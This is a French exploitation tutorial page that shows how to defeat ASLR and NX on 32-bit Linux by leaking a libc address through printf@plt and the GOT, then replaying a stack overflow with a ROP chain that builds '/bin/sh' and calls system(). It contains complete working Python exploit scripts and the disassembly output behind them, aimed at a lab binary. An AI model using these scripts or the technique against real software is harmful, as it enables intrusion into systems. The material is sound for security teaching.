Exploitation avancée


<< Bypass Linux Stack Randomization TCB overwrite >>


   Le problème des techniques vues jusqu'à maintenant est qu'elles reposent sur du bruteforce. Or, dès qu'on s'intéresse à des exploits sur le réseau ou à des machines 64-bits, le bruteforce devient inexploitable ou bien trop bruyant. Souvent pourtant, il est possible de s'en passer.

Exploiter les ressources statiques
   En l'absence de PIE (Position-Independent Executable), les adresses du .text, du .bss et du .data sont fixes. Autrement dit, pour peu que l'on connaisse la version du programme exécuté (si on est en local, on si on prend les paquets de la distribution utilisée), ces adresses seront uniques pour toute exécution du programme. S'il est possible d'exploiter seulement avec les bouts de code de l'exécutable et le bss comme buffer, alors ASLR est rendu inutile. Cette technique a d'abord été utilisée en réécrivant les données de la PLT (qui est exécutable), mais la PLT est désormais par défaut dans le RELRO (Read-Only Relocations) et n'est plus réinscriptible.
Je ne vais pas plus détailler cela, il y a déjà un très bon article d'agix sur le sujet : How to make a ROP when gadgets seems to miss ?. L'article est en anglais mais l'auteur est français, donc vous pouvez le contacter si l'envie vous en prend.

Forced Memory Disclosure
   Ce qu'il est en revanche très souvent possible de faire malgré ASLR, c'est d'obtenir les adresses grâce à l'application elle-même. Avec une format string, on est capables facilement de divulguer le contenu de toute adresse, mais comment faire dans le cas d'un buffer overflow classique ? Deux astuces peu compliquées mais peu connues permettent souvent d'appliquer la même technique qu'une format string rejouable à un buffer overflow : l'utilisation des fonctions de communication et le rejeu de la vulnérabilité.

La première étape est donc d'utiliser les fonctions de communication du programme contre lui. Puisque beaucoup d'applications ont pour but de communiquer avec l'utilisateur, elles ont très probablement des entrées PLT que nous pouvons utiliser : send(), printf(), puts(), etc... Si l'on contrôle les paramètres, à la manière d'un ROP classique en 32-bits, ou en contrôlant les bon registres en 64-bits, il nous est possible de renvoyer le contenu de toute adresse arbitraire. J'ai repris le même programme vulnérable que précédemment en ajoutant des fflush(stdout) après les printf(). Etudions les variables que nous pouvons utiliser :
    $ gcc -m32 vuln.c -o vuln
    $ objdump -R vuln

    vuln: file format elf32-i386

    DYNAMIC RELOCATION RECORDS
    OFFSET TYPE VALUE
    08049844 R_386_GLOB_DAT __gmon_start__
    08049880 R_386_COPY stdout
    08049854 R_386_JUMP_SLOT printf
    08049858 R_386_JUMP_SLOT fflush
    0804985c R_386_JUMP_SLOT puts
    08049860 R_386_JUMP_SLOT __gmon_start__
    08049864 R_386_JUMP_SLOT __libc_start_main
    08049868 R_386_JUMP_SLOT __isoc99_scanf


    $ objdump -S -j .text vuln | grep printf -B4
      80484d7: 57 push %edi
      80484d8: 81 ec 94 00 00 00 sub $0x94,%esp
      80484de: b8 50 86 04 08 mov $0x8048650,%eax
      80484e3: 89 04 24 mov %eax,(%esp)
      80484e6: e8 d5 fe ff ff call 80483c0 <printf@plt>
    --
      8048530: b8 60 86 04 08 mov $0x8048660,%eax
      8048535: 8d 55 94 lea -0x6c(%ebp),%edx
      8048538: 89 54 24 04 mov %edx,0x4(%esp)
      804853c: 89 04 24 mov %eax,(%esp)
      804853f: e8 7c fe ff ff call 80483c0 <printf@plt>
    $ gdb -q ./vuln
    Reading symbols from /tmp/vuln...(no debugging symbols found)...done.
    (gdb) x/s 0x8048660
    0x8048660: "Votre nom, %s, a été enregistré avec succès\n"
    (gdb) q
    $
Rien qu'avec ceci, nous avons assez pour connaître exactement l'adresse de base de la libc. En effet, si on force le programme à retourner dans printf@plt avec comme argument 0x8048660, suivi de l'adresse GOT de __libc_start_main, le programme nous sortira les bytes de l'entrée GOT, donc la position post-relocation de __libc_start_main dans la libc. On pourrait le faire avec puts et sans chaîne formatée, cela permet simplement quand c'est possible d'avoir un pattern simple à matcher contre une expression régulière ensuite.
    $ cat sploit.py
    #!/usr/bin/python

    from subprocess import *
    from struct import *

    libc_start_main_got = 0x08049864
    printf_plt = 0x80483c0
    pattern=0x8048660

    payload = 'A'*112 + pack("<I", printf_plt) + "BBBB" + pack("<I", pattern) + pack("<I", libc_start_main_got)

    sub=Popen("./vuln", stdin=PIPE)
    sub.stdin.write(payload + "\n")

    $ ./sploit.py
    $ Votre nom ? Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?BBBB????, a été enregistré avec succès
    Votre nom, `=`?@?c?, a été enregistré avec succès

    $
Afin de pouvoir utiliser cette connaissance, il est nécessaire ensuite de rejouer la vulnérabilité. On voit que nous avons tout de même le contrôle de l'adresse de retour post-printf (BBBB). Il suffit donc de forcer le rejeu du chemin d'exécution amenant la vulnérabilité. On récupère les derniers maillons manquants pour notre exploitation :
    $ objdump -S -j .text vuln | egrep "call.*enregistrer"
    8048563: e8 6c ff ff ff call 80484d4 <enregistrer_nom>
    $ objdump -h vuln | grep bss
    25 .bss 0000000c 08049880 08049880 00000874 2**5
    $ objdump -T /lib32/libc.so.6 | egrep -w "__libc_start_main|system|strcpy"
    00076bf0 g DF .text 00000023 GLIBC_2.0 strcpy
    00039650 w DF .text 0000007d GLIBC_2.0 system
    00016d60 g DF .text 000001b5 GLIBC_2.0 __libc_start_main
    $ find_str.py /lib32/libc.so.6 "/bin/sh"
    Found / @ 0x413c
    Found b @ 0x448c
    Found i @ 0x499c
    Found n @ 0x586c
    Found / @ 0x6425
    Found s @ 0xd154
    Found h @ 0xdb1e
    $
Au runtime, on est capables de déterminer l'adresse réelle de libc_start_main. Connaissant son offset, on la repositionne aisément dans la libc et ensuite on est libre de faire tout ROP en un seul coup. J'ai fait un simple strcpy() + system() ici pour illustrer :
    $ cat ./sploit.py
    #!/usr/bin/python

    from subprocess import *
    from struct import *
    import time
    import re

    libc_start_main_got = 0x08049864
    printf_plt = 0x80483c0
    pattern=0x8048660
    trigger_vuln = 0x8048563

    payload = 'A'*112 + "".join([pack("<I", addr) for addr in [printf_plt, trigger_vuln, pattern, libc_start_main_got]])

    sub=Popen("./vuln", stdin=PIPE, stdout=PIPE, shell=True)
    sub.stdin.write(payload + "\n")
    sub.stdout.readline() # normal output

    ret = re.search("Votre nom, (.*),", sub.stdout.readline())
    libc_start_main = unpack("<I", ret.group(1)[0:4])[0]

    libc_base = libc_start_main - 0x16d60
    print "[+] libc_base @ " + hex(libc_base)

    system = libc_base + 0x39650
    strcpy = libc_base + 0x76bf0

    slash_char = libc_base + 0x413c
    b_char = libc_base + 0x448c
    i_char = libc_base + 0x499c
    n_char = libc_base + 0x586c
    s_char = libc_base + 0xd154
    h_char = libc_base + 0xdb1e

    bss_buf = 0x080498a0
    pop2ret = 0x8048627

    rop_stack = []
    rop_stack.extend([strcpy, pop2ret, bss_buf, slash_char])
    rop_stack.extend([strcpy, pop2ret, bss_buf+1, b_char])
    rop_stack.extend([strcpy, pop2ret, bss_buf+2, i_char])
    rop_stack.extend([strcpy, pop2ret, bss_buf+3, n_char])
    rop_stack.extend([strcpy, pop2ret, bss_buf+4, slash_char])
    rop_stack.extend([strcpy, pop2ret, bss_buf+5, s_char])
    rop_stack.extend([strcpy, pop2ret, bss_buf+6, h_char])
    rop_stack.extend([system, trigger_vuln, bss_buf])

    payload = 'A'*112 + "".join([pack("<I", x) for x in rop_stack])
    sub.stdin.write(payload + "\n")
    sub.stdout.readline()
    time.sleep(1)
    while 1:
      inp = raw_input("> ")
      print inp
      sub.stdin.write(inp + "\n")
      if inp == "exit":
        break
      print sub.stdout.readline()

    $ ./sploit.py
    [+] libc_base @ 0xf760b000
    > echo $0
    echo $0
    /bin/sh

    > exit
    exit
    Segmentation fault
    $
Ainsi, ce scenario qui est plausible dans beaucoup de cas nous offre une exploitation one-shot malgré ASLR et NX. Il faut cependant préciser qu'un exécutable PIE ne fonctionnerait pas, car on ne connaitrait pas les adresses des entrées GOT/PLT, etc. Cependant, trouver une seule de ces adresses fixes par quelque moyen que ce soit revient à connaître la position de toutes les librairies et des segments .text et .bss avec PIE, car elles sont placées juste avant les librairies, sans padding (cf. Secure FS du PlaidCTF 2012 pour un exécutable PIE permettant quand même une telle exploitation, sans contrôle initial de la pile).

Pour résumer, il est rare de ne pas pouvoir exploiter une vulnérabilité malgré les protections communes mises en place. Contre les stack overflows, la plus efficace reste le stack cookie, mais il ne faut oublier qu'il se trouve également en mémoire dans le TCB (Thread Control Block) et qu'une détection de stack smashing entraîne un appel à l'entrée GOT __stack_chk_fail. Ces deux éléments permettent donc parfois une exploitation. De plus, les vulnérabilités actuelles sont plus tirées vers le heap car les applications sont amenées à manipuler beaucoup de données dynamiques.
Les systèmes 32-bits sont fortement vulnérables au bruteforce d'ASLR, mais avec un peu plus de difficultés à distance. Sans PIE, il est quasiment toujours possible de faire un ROP seulement avec les chunks du .text, et souvent possible de forcer l'exécutable à divulguer ses adresses.
Ceci conlut pour l'instant cette section sur l'exploitation de vulnérabilités classiques sous Linux, avec le temps j'essaierai de faire la transposée sous Windows.


<< Bypass Linux Stack Randomization TCB overwrite >>



3 Commentaires

Anonyme 03/07/13 07:09
ROP ROP every where :D

FrizN 04/06/13 13:18
k

Anonyme 03/06/13 21:48
veuillez completer la ligne libc_start_main = unpack("
et merci




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.